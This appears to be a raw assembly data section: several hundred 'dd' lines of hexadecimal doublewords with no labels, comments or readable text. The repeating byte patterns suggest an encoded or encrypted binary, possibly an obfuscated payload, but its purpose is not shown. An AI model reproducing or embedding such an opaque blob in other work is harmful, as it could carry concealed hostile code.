dd 5CB2DB48h, 502D8861h, 0B1189869h, 585859ABh, 49D10930h
dd 0C286B048h, 0E757A7A7h, 49D9604Dh, 5AB2DB48h, 0CDD5080Ah
dd 0A7A7A759h, 95A9B00Ah, 9CDBA7A7h, 579AD148h, 0D89C55E7h
dd 74F94849h, 0D54849D9h, 0A7A959D4h, 92615858h, 9869502Ch
dd 59F5B118h, 1F305858h, 0B04849D1h, 0A7A7C2C0h, 0DA704DD3h
dd 0B2DB4849h, 0D5080A5Fh, 0A7A759CDh, 0F4B00AA7h, 0DBA7A795h
dd 55D3489Ch, 4849D9ACh, 0A7AA99D9h, 555B5858h, 4849D928h
dd 502C9061h, 0B1189869h, 58585933h, 0A5A0DD9Fh, 58A7A7A7h
dd 0DDD55858h, 0A7A7A5A0h, 5ADDD508h, 8A7A7A6h, 0A8184DA7h
dd 1A304858h, 0B04849D1h, 0A7A7C260h, 5ACDD508h, 0AA7A7A6h
dd 0A8744DA7h, 0C4F94858h, 0DB4849D9h, 0D5085BB0h, 0A7A759DDh
dd 0DDD508A7h, 0A7A7A65Ah, 9561B008h, 9CDBA7A7h, 44DD340h
dd 0D94849D9h, 58A7A39Ah, 2C886158h, 18986950h, 5858A6B1h
dd 404DA758h, 0D1485101h, 0D183699Eh, 5DE757AFh, 4849D8ECh
dd 0D8C85D5Bh, 0B0DB4849h, 5CEE5751h, 4DE7575Fh, 4849D99Ch
dd 3C55E757h, 594849D9h, 51B2DB92h, 0DC578861h, 585858E9h
dd 90DBA1D1h, 64D818A7h, 0A12D5859h, 0A5ACDDD1h, 6030A7A7h
dd 0B04849D1h, 0A7A7C1C4h, 0D35C9CDBh, 49D8844Dh, 744D5B48h
dd 0DB4849D9h, 80A53B2h, 94F5B00Fh, 9CDBA7A7h, 5855D354h
dd 0D94849DAh, 58A7A299h, 2C906158h, 5859E35Fh, 39B35858h
dd 49D17F30h, 0C106B048h, 0E757A7A7h, 49D95C4Dh, 80A1A48h
dd 9421B00Fh, 9CDBA7A7h, 0D39AD148h, 49D8E855h, 0AB99D948h
dd 575858A7h, 0D9B05DE7h, 99594849h, 5D2C9261h, 0B31B8369h
dd 5DE7577Ch, 4849DA50h, 184DE757h, 594849DAh, 50B0DB88h
dd 0A5ACCDD3h, 0A259A7A7h, 8F599FD1h, 0A7A778B1h, 4DA70EA7h
dd 4851111Ch, 5D2C8351h, 0B3189869h, 798695Ah, 9B910306h
dd 38BDD10Dh, 0E0482DD3h, 48580A3Eh, 58E0DED1h, 1DD35858h
dd 9CDED154h, 39585858h, 6905B4D1h, 0D9B9B98h, 0B4D9BDD1h
dd 585858CCh, 0DADC65DBh, 2C584849h, 1898695Dh, 0DD9F77B3h
dd 0A7A7A734h, 585858CCh, 0A734DDD5h, 0A708A7A7h, 4937704Dh
dd 24E5DB48h, 5AA7A7A7h, 5D9F522Dh, 4849DADCh, 58585859h
dd 49DADCF9h, 0F9B9148h, 49D14230h, 0C022B048h, 801A7A7h
dd 7DC04DA7h, 38FB4859h, 0F94849DAh, 4849D930h, 615AB0DBh
dd 49DA385Dh, 304F2D48h, 4849D155h, 0A7C00BB0h, 0A70801A7h
dd 5D6A404Dh, 0DA38FB48h, 0A6304849h, 0B04849D0h, 0A7A7C064h
dd 6DA70801h, 4849DA38h, 79F44DA7h, 78FB4859h, 748516Ah
dd 1859E09Bh, 409AD858h, 0BDD10D58h, 59F4B4D9h, 0E0B5858h
dd 5025D30Fh, 9F585F9Eh, 0A7A635DDh, 5858CCA7h, 35DDD558h
dd 8A7A7A6h, 37704DA7h, 0E5DB4849h, 0A7A7A625h, 304D2D59h
dd 4849D0A0h, 0A7CFBBB0h, 0A70F08A7h, 58A8744Dh, 549CDB48h
dd 0A625E5DBh, 2D5AA7A7h, 0D0AA304Dh, 9DB04849h, 8A7A7CFh
dd 704DA70Fh, 0DB485501h, 0BE30549Ch, 0B04849D0h, 0A7A7CFE8h
dd 0A621EDA7h, 0EDA7A7A7h, 0A7A7A62Dh, 0A629EDA7h, 0D508A7A7h
dd 0A7A759C5h, 4DA70BA7h, 48550170h, 0A759DDD5h, 0F08A7A7h
dd 0A8744DA7h, 87304858h, 0B04849D0h, 0A7A7CF20h, 0D95045D3h
dd 0B3DB4849h, 0E7570B50h, 49D8A445h, 0E4455B48h, 0DB4849D8h
dd 0D50B5AB3h, 0A7A63CC5h, 0C5D50BA7h, 0A7A7A63Ch, 38C5D50Bh
dd 0BA7A7A6h, 5858A730h, 59C5D558h, 0BA7A7A7h, 584DA708h
dd 30485101h, 4849D08Fh, 0A7CF73B0h, 38EDA7A7h, 8A7A7A6h
dd 0A759C5D5h, 0A70BA7A7h, 5501704Dh, 59DDD548h, 8A7A7A7h
dd 744DA70Fh, 304858A8h, 585858A7h, 0A759DDD5h, 0F908A7A7h
dd 4849D928h, 184DE757h, 594849DAh, 51B0DB88h, 5C583008h
dd 4DA75858h, 48597DF0h, 0A759DDD5h, 0F08A7A7h, 0A8744DA7h
dd 8A304858h, 0B04849D0h, 0A7A7CE90h, 4DA70F08h, 4858A874h
dd 0A630DD9Fh, 58A7A7A7h, 0FD305858h, 0B04849D0h, 0A7A7CEF4h
dd 0A600DDD1h, 0C030A7A7h, 0B04849D0h, 0A7A7CEC4h, 0A604C5D5h
dd 0D50BA7A7h, 0A7A630C5h, 0C5D50BA7h, 0A7A7A759h, 0C5D3080Bh
dd 0A7A7A600h, 585A300Bh, 0CEB0D858h, 0DBA7A7AEh, 9ED1289Ch
dd 0C05DE757h, 614849D9h, 0D54B2D9Eh, 0A7A759DDh, 0A70F08A7h
dd 58A8744Dh, 509CDB48h, 0DD9F20B3h, 0A7A7A630h, 585858A7h
dd 49D03030h, 0CE66B048h, 0DDD1A7A7h, 0A7A7A60Ch, 49D00330h
dd 0CE76B048h, 0C5D5A7A7h, 0A7A7A604h, 30C5D50Bh, 0BA7A7A6h
dd 0A759C5D5h, 80BA7A7h, 0A60CC5D3h, 300BA7A7h, 0D858585Ah
dd 0A7AE70B0h, 789CDBA7h, 0E7579ED1h, 49DA485Dh, 4DE75748h
dd 4849D9FCh, 0B0DB8859h, 2D9E6152h, 59DDD549h, 8A7A7A7h
dd 744DA70Fh, 0DB4858A8h, 607509Ch, 0B9B9103h, 6DE7570Eh
dd 4849D93Ch, 0D8E845D3h, 9BD94849h, 365E6FE2h, 0A0ED44D1h
dd 0D3484902h, 49D8C86Dh, 5F9EDB48h, 5C45E757h, 594849D9h
dd 45E75786h, 4849D89Ch, 184DE757h, 0D54849DAh, 0DF6E4BC4h
dd 44D14616h, 490298EDh, 0E86DD348h, 0DB4849D8h, 6D5B5A9Eh
dd 4849D8B4h, 0D90845D3h, 9BD94849h, 656D243Fh, 98ED44D1h
dd 57484902h, 0D9646DE7h, 6D5B4849h, 4849D9ACh, 0D97845D3h
dd 9BD94849h, 0DEC2B02Bh, 0D9BC455Bh, 44D14849h, 4902D8EDh
dd 6DE75748h, 4849D8A0h, 0DA606D5Bh, 45D34849h, 4849D8B8h
dd 267E9BD9h, 44D1E7A5h, 4902E8EDh, 0C455D348h, 0DB4849D9h
dd 4AB35BB1h, 0C86DE757h, 0DB4849D9h, 6CD150B6h, 4902D8D5h
dd 0DCF91948h, 0DB4849D9h, 5D5B5098h, 4849D980h, 842A9961h
dd 0F055E757h, 0D34849D8h, 49D9446Dh, 699ED948h, 5B6A651Fh
dd 49D9DC6Dh, 0D56CD148h, 484902ACh, 9C55E757h, 0D34849D9h
dd 49D8806Dh, 0FB9ED948h, 5B080A4Dh, 49DA746Dh, 0D56CD148h
dd 484902E0h, 0D9E855D3h
dd 0E7574849h, 49D9406Dh, 0A99ED948h, 0D142E809h, 294D56Ch
dd 0E7574849h, 49D99C55h, 6DE75748h, 4849D960h, 6DD3A959h
dd 4849D9BCh, 0DD909ED9h, 6D5B7056h, 4849D8C0h, 0E0D56CD1h
dd 57484902h, 0D97055E7h, 6DD34849h, 4849D9B4h, 94849ED9h
dd 6CD1BBDBh, 490284D5h, 7C55D348h, 5B4849DAh, 49D93855h
dd 106DD348h, 0D94849DAh, 3285829Eh, 0E06D5B8Fh, 0D14849D8h
dd 2E8D56Ch, 55D34849h, 4849D8F8h, 406DE757h, 0D34849D9h
dd 49D8FC45h, 46ECD548h, 4CA05D51h, 0B4D56CD1h, 0D3484902h
dd 49D92055h, 386DD348h, 0D94849D9h, 7C18239Eh, 0D56CD194h
dd 484902F0h, 0D96C55D3h, 555B4849h, 4849D9B4h, 9ED986D1h
dd 432FB981h, 9445E757h, 594849D8h, 0D56CD186h, 48490298h
dd 6055E757h, 0D34849D9h, 49D97C6Dh, 559EDB48h, 0D9306D5Bh
dd 6CD14849h, 49022CD5h, 55E75748h, 4849DA1Ch, 0FC6DE757h
dd 0D34849D9h, 49D9DC45h, 46ECD548h, 0B9AFB6C3h, 0FCD56CD1h
dd 0D3484902h, 49DA6055h, 5E99DB48h, 0D8B0555Bh, 6DD34849h
dd 4849D88Ch, 3C139ED9h, 6D5B8A13h, 4849D9E4h, 98D56CD1h
dd 6484902h, 59E09B03h, 9AD85818h, 0D10D5850h, 0B0809BDh
dd 2DD30F0Eh, 5405D350h, 0D1585B9Eh, 0A790DBA9h, 5964D818h
dd 0D1A12D58h, 0E757A41Dh, 49D9405Dh, 5B9FD148h, 49D90465h
dd 54B7DB48h, 0EE5728B3h, 9F61481Dh, 5CD2532Ah, 2C776466h
dd 2D76645Ch, 0D00D3047h, 49B04849h, 57A7A7CBh, 0A664CEEh
dd 0A10DD508h, 704DA70Ah, 0DB485501h, 77B3489Ch, 49D00830h
dd 0CAAAB048h, 0B08A7A7h, 0A8744DA7h, 10304858h, 0B04849D0h
dd 0A7A7CAB8h, 664CEE57h, 0DD5080Ah, 4DA70AA1h, 48550170h
dd 0D5449CDBh, 0B08A11Dh, 0A8744DA7h, 9CDB4858h, 25631F50h
dd 7D32AA4h, 9B910306h, 0D9BDD10Dh, 585A34B4h, 0DDD50F58h
dd 0A7A7A6A4h, 5DE75708h, 4849D8A4h, 85AB0DBh, 49D904F9h
dd 5CB0DB48h, 0F9443208h, 4849DA7Ch, 0DA145D5Bh, 0B0DB4849h
dd 4DA70852h, 485D7258h, 0A5C1DDD5h, 0B008A7A7h, 0A7A7EC73h
dd 3C425DD5h, 44FB4858h, 0D5485501h, 581D6D5Dh, 22CFB48h
dd 5DD54849h, 48583C42h, 5D69B8FBh, 685DD548h, 0FB485813h
dd 485D69A8h, 49D06D30h, 0CA6EB048h, 0E757A7A7h, 49D96465h
dd 5C655B48h, 0DB4849DAh, 0D50F5DB7h, 0A7A6A4E5h, 30080FA7h
dd 485978F8h, 1704DA7h, 7E304855h, 0B04849D0h, 0A7A7CA50h
dd 0D91865D3h, 655B4849h, 4849D8FCh, 0F5AB7DBh, 0A5C1E5D5h
dd 0D50FA7A7h, 0A7A6A4E5h, 30080FA7h, 48516A68h, 1704DA7h
dd 5DD54855h, 485978F8h, 511078FBh, 685DD548h, 0FB485110h
dd 4859578Ch, 15D25DD5h, 0BCFB4858h, 0B0485D71h, 0A7A7A3BBh
dd 49D920F9h, 30081848h, 485D6A58h, 0A7ECF1B0h, 0D04A30A7h
dd 0C5B04849h, 0D3A7A7C9h, 49D9AC65h, 5BB7DB48h, 0A4E5D50Fh
dd 0FA7A7A6h, 10683008h, 4DA74851h, 48550170h, 5957B830h
dd 0A10FB048h, 0A730A7A7h, 0B04849DFh, 0A7A7C934h, 0D91465D3h
dd 9FDB4849h, 0E5D50F5Ch, 0A7A7A6A4h, 1830080Fh, 0A748516Ch
dd 5501704Dh, 425DD548h, 0FB48583Ch, 4859584Ch, 6C185DD5h
dd 44FB4851h, 0D54858A8h, 4901285Dh, 0DA9CFB48h, 9E304849h
dd 0B0485805h, 0A7A7E984h, 588FAA30h, 0E98AB048h, 6330A7A7h
dd 0B04858E1h, 0A7A7E990h, 0C45DE757h, 5B4849D8h, 49D9AC5Dh
dd 5DB0DB48h, 597D88FBh, 0DA10F948h, 5D5B4849h, 4849D998h
dd 85CB0DBh, 0A5A5DDD5h, 0B008A7A7h, 58585C4Fh, 0F9209CDBh
dd 4849D934h, 0D8C05D5Bh, 0E4D84849h, 0A7A5B75Dh, 142D3CA7h
dd 0A6DDE657h, 0D3A7A7A5h, 49D9304Dh, 4E9ADB48h, 9C55E757h
dd 594849D9h, 0D0887192h, 0A7A5C0DDh, 5DE757A7h, 4849DA40h
dd 597D88FBh, 0DDEE5748h, 0A7A7A5C0h, 0D8FCF908h, 5D5B4849h
dd 4849D990h, 857B0DBh, 0A7EE40B0h, 509CDBA7h, 5C5DE757h
dd 5B4849D9h, 49D9145Dh, 5DE4D848h, 0A7A7A5A3h, 0F91D2D3Fh
dd 4849D914h, 0B2DB9AD1h, 5DCCD05Ah, 0A7A7A65Dh, 0A5A6DDD5h
dd 0A708A7A7h, 5958444Dh, 0CCDDD148h, 8A7A7A5h, 49012830h
dd 7B94B048h, 9CDB5858h, 0D8B8F954h, 5D5B4849h, 4849D8C0h
dd 0FB57B0DBh, 48597D88h, 0D9B9107h, 0B4DBBDD1h, 0F0E0B10h
dd 0D55005D3h, 4902D85Dh, 0E01DD148h, 1C5DE757h, 0D14849DAh
dd 0E0655B9Fh, 0DB4849D8h, 56B353B7h, 0BA89A2D1h, 2354D33Eh
dd 4D14D13Eh, 0E7571F98h, 49D9605Dh, 4598DB48h, 0BC2A9F61h
dd 49D9E4F9h, 5EB0DB48h, 0A7E41DD1h, 1DD3E41Dh, 58EF57E0h
dd 2BE41D61h, 1DD50B57h, 0DCB00898h, 0DBA7A7CDh, 0BBB3509Ch
dd 0D8E06DD3h, 0B6DB4849h, 0D149B35Ch, 0D3BA89AAh, 0D33E5415h
dd 3E984D0Ch, 1E294CD1h, 49D978F9h, 4098DB48h, 0BB2A9E61h
dd 91030607h, 0BDD10D9Bh, 0B14B4DBh, 0E7570F0Eh, 49DA405Dh
dd 8C5D5B48h, 0DB4849D9h, 1DD150B0h, 0E07AB3A4h, 58585868h
dd 0D1A43DAFh, 0E757B81Dh, 49DA1C5Dh, 5FB0DB48h, 0D1B80DD3h
dd 6D084D5Ch, 1DA74851h, 0D8E8F9A4h, 98DB4849h, 0A41D6107h
dd 0E757892Ah, 49D8885Dh, 5EB0DB48h, 0DC4DA708h, 30485978h
dd 4849DAB0h, 49C2D030h, 0F95F3248h, 4849D9E8h, 85FB0DBh
dd 49C19030h, 8C4DA748h, 0D148597Dh, 0DA78F99Bh, 0B0DB4849h
dd 579B615Ah, 5859F1DDh, 0AC1DD558h, 0DAB0F908h, 0D3084849h
dd 440FA760h, 5CF99BD1h, 0DB4849DAh, 9B615AB0h, 78F9552Dh
dd 0DB4849DAh, 1D615AB0h, 0B15D2DACh, 58585959h, 9C5DE757h
dd 5B4849D8h, 49D8B05Dh, 5FB0DB48h, 0B1A01DD1h, 58585885h
dd 0D1A01DD3h, 9F3E881Dh, 585B901Dh, 89C1DD5h, 0DB902DD5h
dd 0BFD148B4h, 58585CE1h, 0D3FDAB58h, 49DAB065h, 67D30F48h
dd 0D1780FA7h, 0D8A8F99Bh, 5D5B4849h, 4849D934h, 6150B0DBh
dd 0CFDD579Bh, 0D5585858h, 3008981Dh, 4849C2F0h, 89C1DD3h
dd 4CA760D3h, 58585865h, 0F99BD158h, 4849DA74h, 0D8805D5Bh
dd 0B0DB4849h, 2D9B6155h, 0BC5DD53Ch, 0D14849DAh, 0D308841Dh
dd 5C0EA768h, 8E41DD5h, 49C1B030h, 841DD348h, 0A760D308h
dd 5858654Ch, 9BD15858h, 0D8E44563h, 7B2D4849h, 8E01DD5h
dd 49C1B030h, 0E42DA748h, 0B0982DA7h, 0A7A7E215h, 0D1489CDBh
dd 1DD3EC1Dh, 68D308E4h, 0D3500EA7h, 0D308841Dh, 500EA768h
dd 8981DD3h, 0EA768D3h, 9C1DD350h, 0A768D308h, 1DA7500Eh
dd 0AC1DD3A0h, 57A01D61h, 0A7A74FDAh, 505DD5A7h, 0D14849DBh
dd 0D308A81Dh, 5C0EA768h, 8B41DD5h, 49C18030h, 0A81DD348h
dd 0A768D308h, 58586D4Ch, 1DD35858h, 68D308A8h, 0D5500EA7h
dd 3008BC1Dh, 4849C180h, 0A7B42DA7h, 49DAB06Dh, 0E197B048h
dd 9CDBA7A7h, 0B01DD148h, 49D9A0F9h, 4DE75748h, 4849D9C0h
dd 0B0DB8859h, 0B01D615Ch, 0B0F9402Dh, 84849DAh, 0EA768D3h
dd 0D914F950h, 0B0DB4849h, 0DAB0FB5Ah, 6074849h, 0D9B9103h
dd 0B4D9BDD1h, 5858595Ch, 0A4DDD50Fh, 8A7A7A6h, 0A45DE757h
dd 0DB4849D8h, 0F9085AB0h, 4849DA7Ch, 0CC4DE757h, 594849D8h
dd 5BB0DB88h, 502DA708h, 49D978F9h, 50B0DB48h, 584DA708h
dd 0D1485D72h, 2DA7519Fh, 0DFA23073h, 0ADB04849h, 8A7A7D4h
dd 0A6A4E5D5h, 0A70FA7A7h, 58A8744Dh, 32593248h, 0A4DDD51Bh
dd 8A7A7A6h, 0A79102B0h, 409CDBA7h, 0E09B9107h, 0D8581859h
dd 0D58409Ah, 0B09BDD1h, 2DD30F0Eh, 32583250h, 325B3258h
dd 30583258h, 0D8585858h
dd 516A6830h, 404DA748h, 0D1484933h, 0A7A7DB9Fh, 80F9472Dh
dd 0DB4849D8h, 4DD35EB0h, 4849D8F8h, 0D9E44D5Bh, 0B2DB4849h
dd 5E4CD051h, 5858D1B1h, 57583258h, 0D9945DE7h, 0B0DB4849h
dd 2DA70851h, 4DA70F54h, 48493768h, 49D9DCF9h, 4DE75748h
dd 4849D8ECh, 0B0DB8859h, 1DD50851h, 0E75708A4h, 49D9105Dh
dd 4DE75748h, 4849D91Ch, 57481CD5h, 0A70F0E08h, 58A86C4Dh
dd 0F9BD148h, 11104DA7h, 0E7574851h, 49D9705Dh, 4DE75748h
dd 4849D940h, 0B0DB8859h, 2D9B6155h, 0D8F4F979h, 5D5B4849h
dd 4849D9BCh, 5753B0DBh, 0D89C4DE7h, 4D5B4849h, 4849D8E8h
dd 0D053B2DBh, 6075E4Ch, 0D9B9103h, 0D0E0BDD1h, 0B0585958h
dd 58586EF9h, 300F0E0Bh, 4849DFB4h, 0A7E7FDB0h, 0A70801A7h
dd 5958544Dh, 901DD148h, 981D9F3Eh, 1DD55850h, 2DD5088Ch
dd 48B4DB98h, 5CE1BFD1h, 0AB585858h, 5425D3FDh, 0A767D30Fh
dd 9BD1680Fh, 49D9D0F9h, 5DB0DB48h, 5F2C9B61h, 52B19869h
dd 0D558585Fh, 3008841Dh, 4849C260h, 88C1DD3h, 4CA760D3h
dd 58585865h, 0F99BD158h, 4849D8B4h, 579B6110h, 585E81DDh
dd 801DD558h, 841DD308h, 0A760D308h, 9BD17C0Fh, 49D8B8F9h
dd 5EB0DB48h, 0DD579B61h, 58585EE9h, 49D900F9h, 5BB0DB48h
dd 0B1BC1DD1h, 58585ECDh, 0D1BC1DD3h, 9F3EA81Dh, 585AB01Dh
dd 8A41DD5h, 0DBB02DD5h, 0BFD148B4h, 58585CE1h, 0D5FDAB58h
dd 0B4DBB02Dh, 0E1BFD148h, 5858585Ch, 25D3FDABh, 67D30F84h
dd 0D1740FA7h, 0D900F99Bh, 0B0DB4849h, 579B615Bh, 585E11DDh
dd 0DA5CF958h, 0E7574849h, 49D8944Dh, 0DB885948h, 0DDD15BB0h
dd 0A7A6A7E4h, 0A7E4DDD5h, 3008A7A6h, 4849C210h, 8A41DD3h
dd 4CA760D3h, 58585865h, 579BD158h, 0D9645DE7h, 0B0DB4849h
dd 579B6151h, 585D89DDh, 0E4E5DB58h, 58A7A6A7h, 5D9CDC57h
dd 1DD55858h, 0DDD308B8h, 0A7A6A7E4h, 0A760D308h, 5858A0CFh
dd 519BD158h, 0FFDD5783h, 0D558585Dh, 0A6A799DDh, 2DA708A7h
dd 0C3D9B0B8h, 74F9A7A7h, 0DB4849D9h, 30085FB0h, 485D6A58h
dd 0A799DDD5h, 0B008A7A6h, 0A7A7E5D3h, 0D34C9CDBh, 49DA5465h
dd 0A39FD948h, 5B5858A7h, 49DA6065h, 57A06148h, 585D39DCh
dd 5DE75758h, 4849D9B0h, 615EB0DBh, 452D481Dh, 0A7E4DDD3h
dd 0D308A7A6h, 500EA768h, 8A41DD3h, 0EA768D3h, 18986950h
dd 585DD4B1h, 5DE75758h, 4849D9CCh, 0D9905D5Bh, 0B0DB4849h
dd 0DCDDD151h, 0D5A7A6A7h, 0A6A7DCDDh, 303008A7h, 0D34849C2h
dd 0D308A41Dh, 654CA760h, 58585858h, 0E7579BD1h, 49D8A05Dh
dd 5DB0DB48h, 0DD579B61h, 58585CAAh, 0A7F3DD9Eh, 301CA7A6h
dd 4849DFBAh, 0A7D19BB0h, 65E757A7h, 4849DA40h, 706DE757h
dd 594849D9h, 5CB7DBAFh, 0E5D5080Fh, 0A7A6A799h, 0E495B00Fh
dd 9CDBA7A7h, 6DE75748h, 4849D9C8h, 0A7AF9ED9h, 0A8615858h
dd 0DD9E5F2Ch, 0A7A6A7F3h, 0DF823008h, 25B04849h, 57A7A7D1h
dd 0DA5065E7h, 80F4849h, 0A799E5D5h, 0B00FA7A6h, 0A7A7E4CBh
dd 0D3489CDBh, 49D8986Dh, 0A59ED948h, 615858A7h, 9E5F2CA8h
dd 0A6A7F3DDh, 8A301BA7h, 0B04849DFh, 0A7A7D11Ch, 0D8B465D3h
dd 655B4849h, 4849D944h, 0F5AB7DBh, 99E5D508h, 0FA7A6A7h
dd 0A7E40AB0h, 489CDBA7h, 0D9E86DD3h, 0B6DB4849h, 599FD15Bh
dd 0C4E5D1AFh, 0D1A7A6A7h, 0A6A7E8E5h, 0E8DDD3A7h, 0D8A7A6A7h
dd 0A7995DE4h, 2C7EA7A6h, 0E8DDA750h, 0B3A7A6A7h, 0E8DDD3B0h
dd 0D3A7A6A7h, 49D8FC4Dh, 5FB2DB48h, 995DCCD0h, 0D3A7A6A7h
dd 0A6A7C4DDh, 5DDCD5A7h, 0A7A6A799h, 444DA708h, 0D1485958h
dd 0A6A7D8DDh, 0DF9330A7h, 0E1B04849h, 57A7A7D0h, 0DA1C65E7h
dd 655B4849h, 4849D9D8h, 0F5EB7DBh, 99E5D508h, 0FA7A6A7h
dd 0A7E39EB0h, 4C9CDBA7h, 0D9286DD3h, 6D5B4849h, 4849D9D8h
dd 599FD116h, 0C4E5D1AFh, 0D1A7A6A7h, 0A6A7E8E5h, 0E8DDD3A7h
dd 0D8A7A6A7h, 0A7995DE4h, 2C7EA7A6h, 0E8DDA750h, 0B3A7A6A7h
dd 0E8DDD3B0h, 0D3A7A6A7h, 49D92C4Dh, 5FB2DB48h, 995DCCD0h
dd 0D3A7A6A7h, 0A6A7C4DDh, 5DDCD5A7h, 0A7A6A799h, 444DA708h
dd 1485958h, 0A7FCDDD1h, 6CF9A7A6h, 5B4849DAh, 49DA545Dh
dd 54B0DB48h, 0A7D8DD61h, 222FA7A6h, 49D8E4F9h, 0E0DDD148h
dd 0B3A7A6A7h, 0E0E5D309h, 0D1A7A6A7h, 5ABE99A6h, 704DE757h
dd 0DB4849D9h, 4C615DB2h, 5948B86Dh, 0D3752C48h, 0A6A7FCCDh
dd 6D4C61A7h, 48595878h, 4CD2462Dh, 5979E865h, 0F3CD6248h
dd 2DA7A6A7h, 6DE75757h, 4849DA50h, 0E56CD116h, 485948B8h
dd 0A7E0DDA7h, 0E757A7A6h, 49D8F05Dh, 0A44DD348h, 0D54849D9h
dd 5BB048DCh, 0DD615858h, 0A7A6A7E0h, 4DA7CB2Ah, 48490228h
dd 0A7F8DDD1h, 0B4F9A7A6h, 574849D9h, 0D99C4DE7h, 88594849h
dd 0D153B0DBh, 0A6A7ECDDh, 0D332B3A7h, 0A6A7ECE5h, 5ABF99A7h
dd 3C6DE757h, 164849D9h, 0B8656C61h, 2C485948h, 6564D312h
dd 48511108h, 0D9846DD3h, 9ED94849h, 5858B238h, 0D8984DD3h
dd 5B1A4849h, 49D9F44Dh, 0AAF75748h, 0E563AF59h, 0A7A6A7F8h
dd 0E5D3452Bh, 0A7A6A7ECh, 0CC6DE757h, 5B4849D9h, 49D8846Dh
dd 5DB6DB48h, 0B8E56CD1h, 0A7485948h, 0A6A7ECDDh, 0D884F9A7h
dd 875D4849h, 5B58585Bh, 49D88C5Dh, 0ECDD6148h, 57A7A6A7h
dd 0A7A722DAh, 0DA58F9A7h, 5D5B4849h, 4849D9A4h, 0D15DB0DBh
dd 0A6A7F4DDh, 0D37CB3A7h, 0A6A7F4E5h, 446DD3A7h, 5B4849D9h
dd 49D9EC6Dh, 5EB6DB48h, 0B8E56C61h, 2C485948h, 0F4DDA779h
dd 0F9A7A6A7h, 4849D914h, 585B855Dh, 4DE75758h, 4849D964h
dd 0DD618859h, 0A7A6A7F4h, 0E5D3992Ah, 0A7A6A7F4h, 0A7FCEDD3h
dd 6CD1A7A6h, 595878E5h, 502DD348h, 38E56CD1h, 0D14858A8h
dd 0F3CDD2A0h, 0D0A7A6A7h, 79E85D4Ch, 0E7574859h, 49D9F05Dh
dd 0C45D5B48h, 0DB4849D9h, 0DD615CB0h, 0A7A6A7D8h, 589ADE57h
dd 6DD35858h, 4849D9B4h, 0A7A49ED9h, 0E7575858h, 49DA404Dh
dd 3E8E5948h, 48256CD1h, 0F9485D72h, 4849D90Ch, 0DA785D5Bh
dd 0B0DB4849h, 20DDD152h, 0B3A7A6A7h, 20E5D32Fh, 0D1A7A6A7h
dd 5ABE99A6h, 0D90C4DD3h, 0E7574849h, 49D9C855h, 0DB925948h
dd 4C6148B2h, 5948B86Dh, 57132C48h, 48254CEFh, 0D3485D72h
dd 49D92055h, 0AE99D948h, 575858A7h, 0D9F05DE7h, 99594849h
dd 722C9261h, 0A7FCCDD3h, 4C61A7A6h, 5958786Dh, 0D2432D48h
dd 79E8654Ch, 0CD624859h, 0A7A6A7F3h, 64D5542Dh, 5D724825h
dd 5FA73E48h, 0DDA763B3h, 0A7A6A720h, 49D8E0F9h, 5BBC5D48h
dd 0DD615858h, 0A7A6A720h, 0A72BDA57h, 45B3A7A7h, 0A7F4E5D3h
dd 6DD3A7A6h, 4849D9E4h, 0D9D06D5Bh, 0B6DB4849h, 6CD13E52h
dd 5D724825h, 284DA748h, 0D3484902h, 0A6A7F4E5h, 0E55CD1A7h
dd 48511108h, 0DAF06DD5h, 6CD14849h, 5948B8E5h, 0F4E5D348h
dd 0D5A7A6A7h, 48B8E564h, 0E5D14859h, 0A7A6A724h, 0D308A0D1h
dd 5C0EA768h, 0A7F4E5D3h, 64D5A7A6h, 5948B8E5h, 0C8E5D148h
dd 3EA7A6A7h, 0A7D0DD9Fh, 5851A7A6h, 0A7D0EDD5h, 0B4DBA7A6h
dd 0E1BFD148h, 5858585Ch, 0E5D3FDABh, 0A7A6A7DCh, 0A767D30Fh
dd 5858FCCFh, 0D59BD158h, 0A6A7D0DDh, 4DA708A7h, 4849281Ch
dd 0A7F4DDA7h, 0DDD3A7A6h, 0A7A6A7DCh, 0A768D308h, 0F8F9500Eh
dd 0DB4849D9h, 0DD6150B0h, 0A7A6A7E4h, 0DDD3542Ch, 0A7A6A7E4h
dd 0A768D308h, 0E757500Eh, 49DA185Dh, 50B0DB48h, 2CA41D61h
dd 0A41DD351h, 0A768D308h
dd 1DA7500Eh, 801DD3BCh, 57BC1D61h, 0A7A107DAh, 841DD3A7h
dd 0A768D308h, 1DD3500Eh, 68D3088Ch, 69500EA7h, 3060798h
dd 0D10D9B91h, 0CB4D9BDh, 0B58585Ah, 0DDD50F0Eh, 0A7A7A6B4h
dd 5DE75708h, 4849D99Ch, 850B0DBh, 49D90CF9h, 50B0DB48h
dd 57793208h, 0D93C5DE7h, 8104849h, 72584DA7h, 9BD1485Dh
dd 0DD578351h, 5858594Dh, 8A81DD5h, 6C684DA7h, 84F94851h
dd 574849D8h, 57A20DEFh, 0D3A015EFh, 49D9E445h, 6E9BDB48h
dd 5993F757h, 15EF5792h, 45E757AEh, 4849D91Ch, 0D8B06DD3h
dd 4D54849h, 0F7574B6Bh, 45E75793h, 4849DA18h, 576C9BDBh
dd 925993F7h, 0AA15EF57h, 4045E757h, 0D34849D9h, 49D9886Dh
dd 6B04D548h, 93F75757h, 0D91445D3h, 9BDB4849h, 6DE7574Dh
dd 4849D910h, 0F757AB59h, 45E75793h, 4849D964h, 0D97C6DD3h
dd 4D54849h, 0F757696Bh, 57925993h, 0D3A815EFh, 49D88445h
dd 509BDB48h, 0D393F757h, 49D9D045h, 499BDB48h, 0D90C455Bh
dd 0F7574849h, 45E75793h, 4849D8A0h, 575B1CD5h, 0F990F757h
dd 4849D9E0h, 5B6C98DBh, 49D9085Dh, 90F75748h, 905988D1h
dd 58A868FBh, 0DA74F948h, 5D5B4849h, 4849D9D8h, 0D15EB0DBh
dd 0A7A592DDh, 0F6EDD5A7h, 0D9A7A7A5h, 585918B4h, 0E1BFD158h
dd 585858C7h, 0D5FD3EABh, 0A7A6B4E5h, 9AB00FA7h, 0D9A7A7CEh
dd 58591C9Ch, 3060758h, 0D10D9B91h, 4858E0BDh, 82B05858h
dd 0B585875h, 0E1300F0Eh, 0B04849DFh, 0A7A7DB48h, 706DD301h
dd 0DB4849DAh, 80E50B6h, 486DE757h, 0DB4849DAh, 0A70E5DB6h
dd 4DA7502Dh, 48550168h, 5CF99FD1h, 0DB4849DAh, 9F615AB0h
dd 25D35B2Dh, 0DFFB3050h, 8DB04849h, 1A7A7DAh, 0D9D86DD3h
dd 0E7574849h, 49DA1845h, 0DB865948h, 80E50B6h, 0EC6DE757h
dd 5B4849D8h, 49D9006Dh, 50B6DB48h, 4DA70F0Eh, 48550168h
